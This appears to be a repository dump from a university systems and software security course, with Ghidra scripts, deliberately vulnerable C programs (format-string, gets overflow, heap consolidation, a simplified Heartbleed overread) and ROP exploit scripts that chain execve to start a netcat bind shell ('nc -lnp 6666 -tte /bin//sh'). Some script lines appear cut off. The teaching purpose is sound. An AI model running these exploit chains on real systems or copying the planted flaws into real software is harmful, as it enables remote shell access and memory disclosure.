├── README.md └── docs ├── 2021 ├── code │ ├── call-graph-back-slice.py │ ├── cfg-gen-ghidra.py │ ├── dnstracer-1.9.tar.gz │ ├── exploit-nc.py │ ├── exploit-rop-nc-skeleton.py │ ├── exploit-rop.py │ ├── format1.c │ ├── format2.c │ ├── heap-metaof.c │ ├── heap0-proto.c │ ├── heartbeat_normal.bin │ ├── heartbleed.c │ ├── inscount-dif.cpp │ ├── loop2.c │ ├── lottary.c │ ├── nc071.tar.gz │ ├── vuln3-32 │ └── vuln3.c ├── coursework │ └── COURSEWORK.md ├── diagrams │ ├── printf-stack.png │ ├── shellcode.png │ └── stack.png ├── exercises │ ├── EXERCISE1.md │ ├── EXERCISE2.md │ ├── EXERCISE3.md │ ├── EXERCISE4.md │ ├── EXERCISE5.md │ ├── EXERCISE6.md │ └── EXERCISE7.md ├── labs │ ├── ELC_Inside_LSM.pdf │ ├── LAB0.md │ ├── LAB1.md │ ├── LAB2.md │ ├── LAB3.md │ ├── LAB4.md │ ├── LAB5.md │ ├── LAB6.md │ ├── LAB7.md │ ├── LSm2.pdf │ ├── Lab 5 Ghidra guide.docx │ ├── Lab 5 call-graph-back-slice-solution.py │ ├── Lab 5.docx │ ├── Lab 6.docx │ ├── Lab 6.rtf │ ├── Lab1.docx │ ├── Lab2.docx │ ├── Lab3.docx │ ├── Lab4.docx │ ├── Lab5call-graph-back-slice-solution.py │ ├── ropgadget-steps.md │ └── solutions0.md ├── lectures │ ├── WEEK1.md │ ├── WEEK11.md │ ├── WEEK2.md │ ├── WEEK3.md │ ├── WEEK4.md │ ├── WEEK5.md │ ├── WEEK6.md │ └── WEEK7.md ├── mock.pdf ├── papers │ ├── bulck-2019.pdf │ ├── keshav2007.pdf │ ├── roscoe-2007.pdf │ ├── sailer-2004.pdf │ └── saltzer-1975.pdf ├── projects │ └── list.md ├── slides │ ├── week1 │ │ ├── 2020 │ │ │ ├── 2-SysSec-BoFIntro.pdf │ │ │ ├── 2-SysSec-BoFIntro.pptx │ │ │ ├── SysSec-refresh.pdf │ │ │ ├── SysSec-refresh.pptx │ │ │ ├── intro-formatString-UoB.pdf │ │ │ ├── intro-formatString-UoB.pptx │ │ │ ├── lecture1.pdf │ │ │ ├── lecture1.pptx │ │ │ ├── lecture2.pdf │ │ │ ├── lecture2.pptx │ │ │ ├── lecture3.pdf │ │ │ ├── lecture3.pptx │ │ │ ├── lecture4.pdf │ │ │ └── lecture4.pptx │ │ ├── week1-dirtycow.pdf │ │ ├── week1-format-strings.pdf │ │ ├── week1-intro.pdf │ │ ├── week1-overflow.pdf │ │ ├── week1-raceconditions.pdf │ │ └── week1-refmon.pdf │ ├── week2 │ │ ├── 2020 │ │ │ ├── lecture1.pdf │ │ │ ├── lecture1.pptx │ │ │ ├── lecture2.pdf │ │ │ ├── lecture2.pptx │ │ │ ├── lecture3.pdf │ │ │ ├── lecture3.pptx │ │ │ ├── lecture4.pdf │ │ │ └── lecture4.pptx │ │ ├── week2-ids.pdf │ │ ├── week2-introos.pdf │ │ └── week2-lsm.pdf │ ├── week3 │ │ ├── 2020 │ │ │ ├── Int-overflow.pdf │ │ │ ├── Intro-Heap-overflow-UoB.pdf │ │ │ ├── Intro-Heap-overflow-UoB.pptx │ │ │ ├── Intro-Why-ROP.pdf │ │ │ └── ROP-intro-UoB.pdf │ │ ├── week3-hof.pdf │ │ └── week3-rop.pdf │ ├── week4 │ │ ├── Backward analysis.pdf │ │ ├── Intro-Dynamic Analysis.pptx │ │ ├── Intro-ProgAnalysisSec-UoB.pdf │ │ ├── Intro-Programme Analysis Security.pptx │ │ ├── intro-DynAnalysi-Pin-intro.pdf │ │ └── intro-ghidra-script.pdf │ ├── week5 │ │ ├── Intro-concurrency-fuzz.pdf │ │ ├── Intro-fuzzzing.pdf │ │ └── intro-defence-mitigation.pdf │ ├── week6 │ │ ├── lecture1.pdf │ │ ├── lecture1.pptx │ │ ├── lecture2.pdf │ │ ├── lecture2.pptx │ │ ├── lecture3.pdf │ │ ├── lecture3.pptx │ │ ├── lecture4.pdf │ │ ├── lecture4.pptx │ │ ├── lecture5.pdf │ │ └── lecture5.pptx │ └── week7 │ │ ├── 2020 │ │ ├── lecture1.pdf │ │ ├── lecture1.pptx │ │ ├── lecture2.pdf │ │ ├── lecture2.pptx │ │ ├── lecture3.pdf │ │ └── lecture3.pptx │ │ ├── week7-meltdown.pdf │ │ ├── week7-rowhammer.pdf │ │ └── week7-speculative-execution.pdf ├── survey.md └── vagrants │ ├── lab1 │ ├── Vagrantfile │ └── formatstring.c │ ├── lab2 │ ├── Vagrantfile │ ├── stack.c │ └── test.c │ ├── lab3 │ └── Vagrantfile │ └── lab7 │ ├── Makefile │ ├── Vagrantfile │ └── rootkit.c ├── README.md ├── coursework ├── README.md ├── coursework.pdf └── coursework.tex ├── diagrams └── printf-stack.png ├── extra ├── 1.md ├── 2.md ├── 3.md ├── 4.md ├── 5.md ├── 6.md ├── 7.md └── view-the-source.jpg ├── labs ├── 1.md ├── 2.md ├── 3.md ├── 4.md ├── 5.md ├── 6.md ├── 7.md ├── Labs Solutions ├── heartbeat_normal.bin └── heartbleed.c ├── lectures ├── 1 │ └── slides.pdf ├── 2 │ └── slides.pdf ├── 3 │ └── slides.pdf ├── 4 │ ├── Intro-fuzzzing.pdf │ └── Intro-fuzzzing.pptx ├── 5 │ ├── Access Control 23-24.pdf │ ├── Access Control.pdf │ └── Access Control.pptx ├── 6 │ └── slides.pdf └── 7 │ ├── Hardware Security 1.pdf │ ├── Hardware Security.pdf │ └── Hardware Security.pptx └── solutions ├── Lab 2 format string.pdf ├── Lab 3 Buffer Overflow.pdf ├── Lab 4 ROP.pdf ├── Lab 5 Fuzzing.pdf ├── Lab 6 ├── Lab 7 Access Control Lab.pdf ├── Lab Notes.pptx ├── Labs └── README.md /README.md: -------------------------------------------------------------------------------- 1 | # **COMSM0049:** Systems & Software Security 2 | -------------------------------------------------------------------------------- /docs/2021/code/call-graph-back-slice.py: -------------------------------------------------------------------------------- 1 | # For Ghidra Scripting tutorial purpose. 2 | # Copy this file into ghidra_scripts directory (the one which is configured during installation of ghidra, where ghidra can import it.) 3 | #@author Sanjay Rawat 4 | #@category _NEW_ 5 | #@keybinding 6 | #@menupath 7 | #@toolbar 8 | 9 | #GHIDRA IMPORTS ############################################################### 10 | #from ghidra.program.model.block import * 11 | #from ghidra.program.model.listing import * 12 | import ghidra.program.model.block as BL 13 | from ghidra.program.model.lang.OperandType import SCALAR, REGISTER 14 | import generic.continues as CNT 15 | import ghidra.app.util.bin.ByteProvider 16 | import ghidra.app.util.bin as UBIN 17 | import ghidra.app.util.bin.format.elf as ELF 18 | import java.io as IO 19 | import ghidra.program.util as PUTIL 20 | #################################################################################### 21 | from collections import deque 22 | import struct 23 | import shutil 24 | import os 25 | import sys 26 | import copy 27 | ########################################################################################### 28 | 29 | ######## Ghidra global definitions ############## 30 | sbm=BL.SimpleBlockModel(currentProgram, False) 31 | ref_manager=currentProgram.getReferenceManager() 32 | func_manager=currentProgram.getFunctionManager() 33 | ################################################# 34 | 35 | 36 | def get_xref_information(function): 37 | callers = set() #set of the callers of the function 38 | print "[*] Function: %s"%(function.getName(),) 39 | addr_view=function.getBody() 40 | current_function_address = function.getEntryPoint() 41 | ref_to_current=ref_manager.getReferencesTo(current_function_address) 42 | #Now you have a refernce manager. Search in the API help doc to find more about it and methods you can use. You want to do the following: 43 | #1. iterate over these references (Note that it uses hasNext() 44 | #2.then check if the reference type is call (you are only interested in calls) 45 | #3.get the address of this reference (from address: the reference is like a edge from -> to) 46 | #4. using func_manager, get the function that contains that address. 47 | #5. if that is not none, this is one of the callers of the function. add it to callers. 48 | 49 | 50 | print "Done. Found %d callers"%(len(callers),) 51 | return callers.copy() 52 | 53 | def get_call_graph(): 54 | print("===== Compute Call Graph Slice =====") 55 | vul_func=['strcpy', 'memcpy']# list of vulnerable functions we want to target 56 | # Using the get-xref-information() function, start with a source function and 57 | # get it's callers. Iterate over this list of callers and 58 | # repeat the process. This will give you a backward slice starting from 59 | # the 1st function until main() 60 | # in this example, we will look for strcpy function and then start a backward callgraph slice 61 | #Steps to code 62 | #1. get a function iterator (use func_manager). you will use this iterator to get functions. 63 | ##Pro Tip: when iterating with while loop, also include condition (and monitor.isCancelled() != True). This will allow you to cancel the script in case of some non-termnating loop! 64 | #2. for each function, get the name and check if it in vul_name (for the lab, you can just search for strcpy) 65 | #3. get the callers of this function. use partially implemented function get_xref_information. 66 | #4. print the name and address (as hex like 0xaabbccdd). This will allow you to double-click them in ghidra output window to nevigate to those functions. 67 | #4A. (optional for more complete slice) for each caller, repeat the above process (i.e. find its callers) untill yoo reach the main function. 68 | #5. Load the dnstracer binary in the ghidra by creating a new project and analyzing the new binary. 69 | #6. Open the Scriptmanager window and select the script. run it. 70 | #7. You will find that caller of strcpy is printablename function, which is where the vulnerability was found in the dnstracer. 71 | 72 | 73 | 74 | if __name__ == '__main__': 75 | #get_func_attribute(functionAttrPath,file_name) 76 | 77 | exe_format=currentProgram.getExecutableFormat() 78 | #if idc.GetLongPrm(idc.INF_FILETYPE) == idc.FT_ELF: 79 | if 'ELF' in exe_format: 80 | print("Linux ELF File") 81 | 82 | print("-------- Starting --------------------") 83 | 84 | # generate call graph file, ok 85 | get_call_graph() 86 | 87 | 88 | 89 | print("Analysis finished") 90 | else: 91 | print("not suitable file type") 92 | -------------------------------------------------------------------------------- /docs/2021/code/cfg-gen-ghidra.py: -------------------------------------------------------------------------------- 1 | 2 | #TODO Add User Code Here 3 | #from ghidra.program.model.block import * 4 | #from ghidra.program.model.listing import * 5 | import ghidra.program.model.block as BL 6 | from ghidra.program.model.lang.OperandType import SCALAR, REGISTER 7 | import ghidra.app.script as SCR #import println, printf 8 | from collections import deque 9 | import timeit 10 | import sys 11 | import struct 12 | import pickle 13 | import os 14 | import gc 15 | ## global variables ## 16 | backedges=list()# list of the backedges, preseorented as tuple (srcBB,dstBB) 17 | edges=dict() # dictionary to keep edges weights key=(srcBB,destBB), value=weight 18 | weights=dict() # dictionary to keep weights of the BBs. key=BBaddress, value=weight. Weight is calculated as w=1.0/reaching prob. 19 | #where reaching prob(B) = Sum_i \in Pred(B){ weight_edge(i,B)*weight(i)} 20 | # All of the backedges have 0 weights, i.e. they have no influence on the weight of the target BB. 21 | #GS=SCR.GhidraScript() 22 | sbm=BL.BasicBlockModel(currentProgram) 23 | image_base=currentProgram.getImageBase().getOffset() 24 | def dead(msg): 25 | #print "[*] %s"% msg 26 | printf("[*] %s\n", msg) 27 | sys.exit(0) 28 | 29 | 30 | def computeCFG(function): 31 | ''' 32 | Note: Ghidra memory model creates references for the edges. In doing so, it creates references for CALL also, which means that if we use getDestinations() or getSources(), we also get edges 33 | corresponding to calls and indirection (jumping to jumptable e.g.). In particular, within a function, even if we try to get the incoming edges for root node, we get references to all the callers 34 | that call this fuunction. So, we neglect such calls by using getFlowType().isCall() and getFlowType().isIndirect(). 35 | 36 | ''' 37 | total=0 #counts the total blocks in this function 38 | BBIterator=sbm.getCodeBlocksContaining(function.getBody(),monitor) 39 | while BBIterator.hasNext(): 40 | block=BBIterator.next() 41 | total = total+1 42 | print "BB: 0x%x" % block.getFirstStartAddress().getOffset() 43 | dest=block.getDestinations(monitor) 44 | while (dest.hasNext()): 45 | dbb = dest.next(); 46 | if dbb.getFlowType().isCall()== True or dbb.getFlowType().isIndirect()==True: 47 | continue 48 | print "\t[*] 0x%x type: %s" % (dbb.getDestinationAddress().getOffset(),dbb.getFlowType().getName()) 49 | 50 | 51 | def getLength(function): 52 | ''' 53 | given a function, the function returns the number of basic blocks in it. 54 | 55 | ''' 56 | count=0 57 | blocks=sbm.getCodeBlocksContaining(function.getBody(), monitor) 58 | while (blocks.hasNext()): 59 | bb = blocks.next(); 60 | count +=1 61 | return count 62 | 63 | 64 | def main(): 65 | ''' main function 66 | ''' 67 | gc.enable() 68 | start=timeit.default_timer() 69 | clist=currentProgram.getListing() 70 | fweight=dict() 71 | total_bb=0 72 | total_func=0 73 | print "started analysis..." 74 | func_manager=currentProgram.getFunctionManager() 75 | 76 | #let's iterate over all the functions 77 | func_iter=clist.getFunctions(True) 78 | while (func_iter.hasNext() and monitor.isCancelled() != True): 79 | function=func_iter.next() 80 | if function.isThunk()==True or function.isExternal()==True: 81 | continue 82 | bb_count=getLength(function) 83 | if bb_count <= 1: 84 | continue 85 | total_bb= total_bb + bb_count 86 | total_func += 1 87 | #print "In: %s"%function.getName() 88 | printf("In: %s\n",function.getName()) 89 | computeCFG(function) 90 | print "[*] done...." 91 | stop=timeit.default_timer() 92 | printf("[*] Total time: %5.5f", stop-start) 93 | printf("total functions analysed: %d\n total Basic blocks analysed: %d\n", total_func,total_bb) 94 | #print "[*] Total time: ", stop-start 95 | #print " total functions analysed: %d"% total_func 96 | #print " total Basic blocks analysed: %d"% total_bb 97 | 98 | if __name__ =="__main__": 99 | main() 100 | -------------------------------------------------------------------------------- /docs/2021/code/dnstracer-1.9.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/code/dnstracer-1.9.tar.gz -------------------------------------------------------------------------------- /docs/2021/code/exploit-nc.py: -------------------------------------------------------------------------------- 1 | """ 2 | This is a demo python script that creates a ROP chain to launch nc as: 3 | > /bin//nc -lnp 6666 -tte /bin//sh 4 | The gadgets in the following code are based on my machine & binary and as a result you will have to adjust the gadget based on your environment. 5 | With the latest ROPGadget tool that we used in the class, we get the following ropchain: 6 | - Step 1 -- Write-what-where gadgets 7 | 8 | [+] Gadget found: 0x8056d05 mov dword ptr [edx], eax ; ret -> MOVISTACK 9 | [+] Gadget found: 0x806ee8b pop edx ; ret -> POPEDX 10 | [+] Gadget found: 0x80a8bf6 pop eax ; ret -> POPEAX 11 | [+] Gadget found: 0x80562c0 xor eax, eax ; ret -> XOREAX 12 | 13 | - Step 2 -- Init syscall number gadgets 14 | 15 | [+] Gadget found: 0x80562c0 xor eax, eax ; ret 16 | [+] Gadget found: 0x807c32a inc eax ; ret -> INCEAX 17 | 18 | - Step 3 -- Init syscall arguments gadgets 19 | 20 | [+] Gadget found: 0x80481c9 pop ebx ; ret -> POPEBX 21 | [+] Gadget found: 0x806eeb2 pop ecx ; pop ebx ; ret -> POPECX remember there is an extra POP, so you need to provide something meaningful for ebx too! 22 | [+] Gadget found: 0x806ee8b pop edx ; ret 23 | 24 | - Step 4 -- Syscall gadget 25 | 26 | [+] Gadget found: 0x8049603 int 0x80 27 | 28 | - Step 5 -- Build the ROP chain 29 | 30 | 31 | 32 | 33 | """ 34 | 35 | 36 | 37 | 38 | 39 | #!/usr/bin/env python 40 | from struct import pack 41 | import os 42 | ###################################### 43 | fileName=raw_input("Enter the file name") 44 | outfile=open(fileName, "wb") 45 | # this is just to create variables of the gadgets that we will be using 46 | EDAX0 = pack(" char *arguments[7]= { "/tmp//nc", "-lnp", "5678", "-tte", "/bin//sh", NULL} 11 | 4. EDX = env (char **) -> NULL 12 | ----------------------------------------- 13 | 14 | The gadgets in the following code are based on my machine & binary and as a result you will have to adjust the gadget based on your environment. 15 | With the latest ROPGadget tool that we used in the class, we get the following ropchain: 16 | - Step 1 -- Write-what-where gadgets 17 | 18 | [+] Gadget found: 0x8056d05 mov dword ptr [edx], eax ; ret -> MOVISTACK 19 | [+] Gadget found: 0x806ee8b pop edx ; ret -> POPEDX 20 | [+] Gadget found: 0x80a8bf6 pop eax ; ret -> POPEAX 21 | [+] Gadget found: 0x80562c0 xor eax, eax ; ret -> XOREAX 22 | 23 | - Step 2 -- Init syscall number gadgets 24 | 25 | [+] Gadget found: 0x80562c0 xor eax, eax ; ret 26 | [+] Gadget found: 0x807c32a inc eax ; ret -> INCEAX 27 | 28 | - Step 3 -- Init syscall arguments gadgets 29 | 30 | [+] Gadget found: 0x80481c9 pop ebx ; ret -> POPEBX 31 | [+] Gadget found: 0x806eeb2 pop ecx ; pop ebx ; ret -> POPECX remember there is an extra POP, so you need to provide something meaningful for ebx too! 32 | [+] Gadget found: 0x806ee8b pop edx ; ret 33 | 34 | - Step 4 -- Syscall gadget 35 | 36 | [+] Gadget found: 0x8049603 int 0x80 37 | 38 | - Step 5 -- Build the ROP chain 39 | 40 | """ 41 | 42 | 43 | from struct import pack 44 | import os 45 | ###################################### 46 | fileName=raw_input("Enter the file name") 47 | outfile=open(fileName, "wb") 48 | # Padding goes here 49 | p = '\x41'*44 50 | 51 | p += pack('[080da060]=/bin 56 | p += pack('[0x080da064]=//sh 61 | p += pack('null byte insertion 65 | # repeat the avobe process to copy rest of the commandline by adjusting the addresses 66 | #### bear in mind that the computed addresses muct not have any \x00!!!!!!! 67 | # once done, start seting up arguments[] see example python code exploit-nc.py at line 130 68 | # We currently have our list of elements separated by \0 69 | # Now we must construct our char ** i.e. array 'argguments' of strings 70 | # arguments=[ @"/bin//nc", @"-lnp", @"6666", @"-tte", @"/bin//sh"] 71 | 72 | # choose an address after @.data + len(commandline +1). Lets call it X. later on, this will be the content of ecx. 73 | 74 | #once done, we start setting up the environment for execve. 75 | # first set ebx to point to which command we want to execute (@ /tmp//nc) 76 | p += pack(' ebx is set to program to execute [point 2] 78 | 79 | # now set ecx to have address of arguments[] 80 | p += pack(' @ .data + + len(commandline +1) -> ecx=0x080da068 82 | p += pack(' char *arguments[3]= { "/bin//sh", NULL} 7 | 4. EDX = env (char **) -> NULL 8 | 9 | """ 10 | 11 | 12 | from struct import pack 13 | import os 14 | ###################################### 15 | fileName=raw_input("Enter the file name") 16 | outfile=open(fileName, "wb") 17 | # Padding goes here 18 | p = '\x41'*44 19 | 20 | p += pack('[080da060]=/bin 25 | p += pack('[0x080da064]=//sh 30 | p += pack('null byte insertion 34 | p += pack(' ebx is set to program to execute [point 2] 36 | p += pack(' ecx=0x080da068 38 | p += pack(' 2 | int main(int argc, char **argv) 3 | { 4 | int i=0xAABBCCDD; 5 | char secret[]="SECRET"; 6 | if(argc>1) 7 | printf(argv[1]); 8 | return 0; 9 | } 10 | -------------------------------------------------------------------------------- /docs/2021/code/format2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int pin=12345; 5 | 6 | int check(int upin, int spin) 7 | { 8 | if (2*upin == spin) 9 | return 1; 10 | else return -1; 11 | } 12 | int main(int argc, char *argv[]) 13 | { 14 | char welcome[50]; 15 | char name[40]; 16 | int upin,auth; 17 | printf("Enter you name followed by your pin:\n"); 18 | scanf("%39s%d",name, &upin); 19 | sprintf(welcome,"Hello %s",name); 20 | 21 | auth=check(upin,pin); 22 | printf(welcome); 23 | if(auth==-1) 24 | { 25 | printf("Sorry, try again...\n"); 26 | exit(0); 27 | } 28 | return 0; 29 | } 30 | 31 | 32 | -------------------------------------------------------------------------------- /docs/2021/code/heap-metaof.c: -------------------------------------------------------------------------------- 1 | /* Adapted from https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html*/ 2 | #include 3 | #include 4 | #include 5 | 6 | int main(void) 7 | { 8 | 9 | unsigned long *ptr0, *ptr1, *ptr2, *ptr3, *ptr4, *ptr5, *ptr6; 10 | 11 | ptr0 = malloc(0x500); 12 | ptr1 = malloc(0x70); 13 | ptr2 = malloc(0x500); 14 | ptr3 = malloc(0x30); 15 | 16 | printf("Chunk 0: %p\t Size: 0x500\n", ptr0); 17 | printf("Chunk 1: %p\t Size: 0x70\n", ptr1); 18 | printf("Chunk 2: %p\t Size: 0x500\n", ptr2); 19 | printf("Chunk 3: %p\t Size: 0x30\n\n", ptr3); 20 | 21 | //printf("Now the reason why the first and third chunks are 0x500 in sizes, is because they will be the ones we are freeing. In the most recent libc versions (2.26 & 2.27), there is a tcache mechanism.\n"); 22 | //printf("If these chunks were much smaller, they would be stored in the tcaching mechanism and this wouldn't work. So I made them large so they wouldn't end up in the tcache.\n\n"); 23 | 24 | //printf("Start off by freeing ptr0, and clearing the pointer (which is often done when heap chunks get freed to avoid a use after free).\n\n"); 25 | 26 | free(ptr0); 27 | ptr0 = 0; 28 | 29 | printf("Chunk 0: %p\n\n", ptr0); 30 | 31 | //printf("Now is where the heap overflow bug comes into play. let us assume we can overflow ptr2 with a overflow vulnerability with ptr1 (think of integer overflow + bufferoverflow strcpy(prt1, argv[1])). In this program, We will overflow the heap metadata of ptr2. We can see that the size of ptr2 is 0x511.\n\n"); 32 | 33 | printf("Size of Chunk 2 @ %p\t Metadata Size: 0x%lx\n\n", ptr2, ptr2[-1]); 34 | 35 | //printf("0x500 bytes for the data, 0x10 bytes for the metadata, and 0x1 byte to designate that the previous chunk is in use. Our overflow will overwrite this, and the previous size value.\n"); 36 | //printf("We will overwrite the size to be 0x510, essentially clearing the previous in use bit(10100010000). This way when we free this chunk, it will think that the previous chunk has been freed (which it hasn't).\n"); 37 | //printf("So following that, we will place a fake previous size which is the previous QWORD behind the size. We will put it as 0x590 (0x500+ 0x70 +0x20), so it thinks that the previous chunk goes all the way back to where Chunk 0 is.\n"); 38 | //printf("Then when we free Chunk 2, it will consolidate the heap past chunk 1 and up to chunk 0. Then we can start allocating memory from where Chunk 0, and get an overlapping pointer to where Chunk 1 is, since it thinks it has been freed.\n"); 39 | printf("Let's do the overwrite.\n\n"); 40 | 41 | ptr1[14] = 0x590;// remember ptr1 is unsigned long, i.e. 8 byte. thus 14*8=112 (=0x70- the size of memory returned by malloc(0x70)) 42 | ptr1[15] = 0x510;//the byte location next to the allocated memory i.e. size field of prt2 43 | 44 | printf("Chunk 2 @ %p\nPrevious Size: 0x%lx\nSize: 0x%lx\n\n", ptr2, ptr2[-2], ptr2[-1]); 45 | 46 | //printf("Now we free chunk 2 to cause consolidation.\n\n"); 47 | 48 | free(ptr2); 49 | ptr2 = 0; 50 | 51 | printf("Now we can allocate a 0x500 chunk and an 0x70 chunk, and we wil get a pointer to where chunk 1 was.\n\n"); 52 | ptr4 = malloc(0x500); 53 | ptr5 = malloc(0x70); 54 | 55 | printf("Chunk 4: %p\t Size: 0x500\n", ptr4); 56 | printf("Chunk 5: %p\t Size: 0x30\n\n", ptr5); 57 | 58 | printf("With that we can just free Chunk 1 (which is the same as Chunk 5), and we will be able to edit a freed heap chunk.\n\n"); 59 | 60 | //free(ptr1); 61 | //ptr1 = 0; 62 | 63 | char *data = "15935728\x00"; 64 | memcpy(ptr5, data, 0x9); 65 | 66 | printf("Chunk 5 @ %p\t Contains: %s\n\n", ptr5, (char *)ptr5); 67 | printf("Chunk 1 @ %p\t Contains: %s\n\n", ptr1, (char *)ptr1);//ptr1's memory is also written 68 | 69 | free(ptr1); 70 | ptr1=0; 71 | ptr6=malloc(0x70); 72 | //lets copy some secret data 73 | char *top="topsecret\x00"; 74 | memcpy(ptr6,top,10); 75 | printf("Chunk 5 @ %p\t Contains: %s\n\n", ptr5, (char *)ptr5);//ptr5 is able to read ptr6's memory 76 | 77 | //printf("Just like that we use a heap overflow to cause a heap consolidation past an allocated chunk, get overlapping pointers, and edit a free chunk!\n"); 78 | } 79 | 80 | -------------------------------------------------------------------------------- /docs/2021/code/heap0-proto.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct data { 8 | char name[64]; 9 | }; 10 | 11 | struct fp { 12 | int (*fp)(); 13 | }; 14 | 15 | void winner() 16 | { 17 | printf("level passed\n"); 18 | } 19 | 20 | void nowinner() 21 | { 22 | printf("level has not been passed\n"); 23 | } 24 | 25 | int main(int argc, char **argv) 26 | { 27 | struct data *d; 28 | struct fp *f; 29 | 30 | d = malloc(sizeof(struct data)); 31 | f = malloc(sizeof(struct fp)); 32 | f->fp = nowinner; 33 | 34 | printf("data is at %p, fp is at %p\n", d, f); 35 | 36 | strcpy(d->name, argv[1]); 37 | 38 | f->fp(); 39 | 40 | } 41 | 42 | -------------------------------------------------------------------------------- /docs/2021/code/heartbeat_normal.bin: -------------------------------------------------------------------------------- 1 | TAshish -------------------------------------------------------------------------------- /docs/2021/code/heartbleed.c: -------------------------------------------------------------------------------- 1 | /* ******************************************************************************* 2 | * This is a simpple version of the heartbleaad vulnerability to demonstrate the * 3 | * information leak (buffer overread) vulnerability. * 4 | * 5 | * ******************************************************************************/ 6 | 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | 16 | #define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| \ 17 | (((unsigned int)(c[1])) )),c+=2) //it extract the 1st 2 bytes from c 18 | // and put them in s (lenth of the message as is read from the input file) 19 | #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2) 20 | 21 | 22 | typedef struct ssl3_record_st 23 | { 24 | /*r */ int type; /* type of record NOT USED */ 25 | /*rw*/ unsigned int length; /* How many bytes available NOT uSED*/ 26 | /*r */ unsigned int off; /* read/write offset into 'buf' NOT USED*/ 27 | /*rw*/ unsigned char *data; /* pointer to the record data. it contains the whole input */ 28 | } SSL; 29 | 30 | int process_heartbeet(SSL *s) { 31 | unsigned char *p = &s->data[0], *pl; //points to the message filed of the input 32 | unsigned short hbtype; 33 | unsigned int payload; // for keeping the lenth of the message from the input 34 | unsigned int padding = 16; /* Use minimum padding. Added just to have some resemblance with the real code. */ 35 | unsigned int size_buf; 36 | 37 | /* Read type and payload length first */ 38 | hbtype = *p++; // reads the 1st byte from the input 39 | n2s(p, payload); // payload has the lenth now 40 | pl = p;//pl points to the start of the message (3rd byte) from the input file 41 | // printf("payload - %d, message - %s\n", payload, pl); 42 | unsigned char *buffer, *bp, *pr; 43 | int r, out; 44 | 45 | /* Allocate memory for the response, size is 1 byte 46 | * * message type, plus 2 bytes payload length, plus 47 | * * payload, plus padding 48 | * */ 49 | size_buf=1 + 2 + payload + padding; 50 | buffer = malloc(size_buf);//note we are allocating the size which includes lenth field extracted from the input 51 | bp = buffer; 52 | pr= buffer; 53 | 54 | s2n(payload, bp); 55 | memcpy(bp, pl, payload); // copying the contain from pl to bp. 56 | /* The assumption is: payload = len(pl). However, payload is also extracted from the input file. If we put a large number there, 57 | * that large number will be used to read memory starting from &pl. In normal condition, payload is indeed equal to the length of 58 | * the message field. Overread happens when we provide a large payload number. Normal fuzzing process will not detect it, becuase???? 59 | */ 60 | 61 | //lets print the buffer 62 | printf("[*] HeartBeat:\n"); 63 | for (out=0; out 32 | #include 33 | #include "pin.H" 34 | 35 | ofstream OutFile; 36 | 37 | // The running count of instructions is kept here 38 | // make it static to help the compiler optimize docount 39 | static UINT64 icount = 0; 40 | static UINT64 icount2 = 0; 41 | // This function is called before every instruction is executed 42 | VOID docount() { icount++; } 43 | 44 | // Pin calls this function every time a new instruction is encountered 45 | VOID Instruction(INS ins, VOID *v) 46 | { 47 | // Insert a call to docount before every instruction, no arguments are passed 48 | INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END); 49 | //count the instruction at this point also 50 | icount2++; 51 | } 52 | 53 | KNOB KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", 54 | "o", "inscount.out", "specify output file name"); 55 | 56 | // This function is called when the application exits 57 | VOID Fini(INT32 code, VOID *v) 58 | { 59 | // Write to a file since cout and cerr maybe closed by the application 60 | OutFile.setf(ios::showbase); 61 | OutFile << "iCount " << icount << "\niCount2 " << icount2 << endl; 62 | OutFile.close(); 63 | } 64 | 65 | /* ===================================================================== */ 66 | /* Print Help Message */ 67 | /* ===================================================================== */ 68 | 69 | INT32 Usage() 70 | { 71 | cerr << "This tool counts the number of dynamic instructions executed" << endl; 72 | cerr << endl << KNOB_BASE::StringKnobSummary() << endl; 73 | return -1; 74 | } 75 | 76 | /* ===================================================================== */ 77 | /* Main */ 78 | /* ===================================================================== */ 79 | /* argc, argv are the entire command line: pin -t -- ... */ 80 | /* ===================================================================== */ 81 | 82 | int main(int argc, char * argv[]) 83 | { 84 | // Initialize pin 85 | if (PIN_Init(argc, argv)) return Usage(); 86 | 87 | OutFile.open(KnobOutputFile.Value().c_str()); 88 | 89 | // Register Instruction to be called to instrument instructions 90 | INS_AddInstrumentFunction(Instruction, 0); 91 | 92 | // Register Fini to be called when the application exits 93 | PIN_AddFiniFunction(Fini, 0); 94 | 95 | // Start the program, never returns 96 | PIN_StartProgram(); 97 | 98 | return 0; 99 | } 100 | -------------------------------------------------------------------------------- /docs/2021/code/loop2.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() 3 | { 4 | int x; 5 | char array[200]; 6 | for(x=0;x<200;x++) 7 | { 8 | array[x]='A'; 9 | } 10 | printf("Done\n"); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /docs/2021/code/lottary.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | int get_cookie() 5 | { 6 | return rand(); 7 | } 8 | int main() 9 | { 10 | int check=10; 11 | int guess; 12 | char name[20]; 13 | guess=get_cookie(); 14 | printf("Enter your name..\n"); 15 | gets(name); 16 | if(guess == 0x41424344) 17 | printf("You win %s\n",name); 18 | else printf("Better luck next time %s :(\n",name); 19 | if (check!= 10) 20 | printf("\n hmmmm....!\n"); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /docs/2021/code/nc071.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/code/nc071.tar.gz -------------------------------------------------------------------------------- /docs/2021/code/vuln3-32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/code/vuln3-32 -------------------------------------------------------------------------------- /docs/2021/code/vuln3.c: 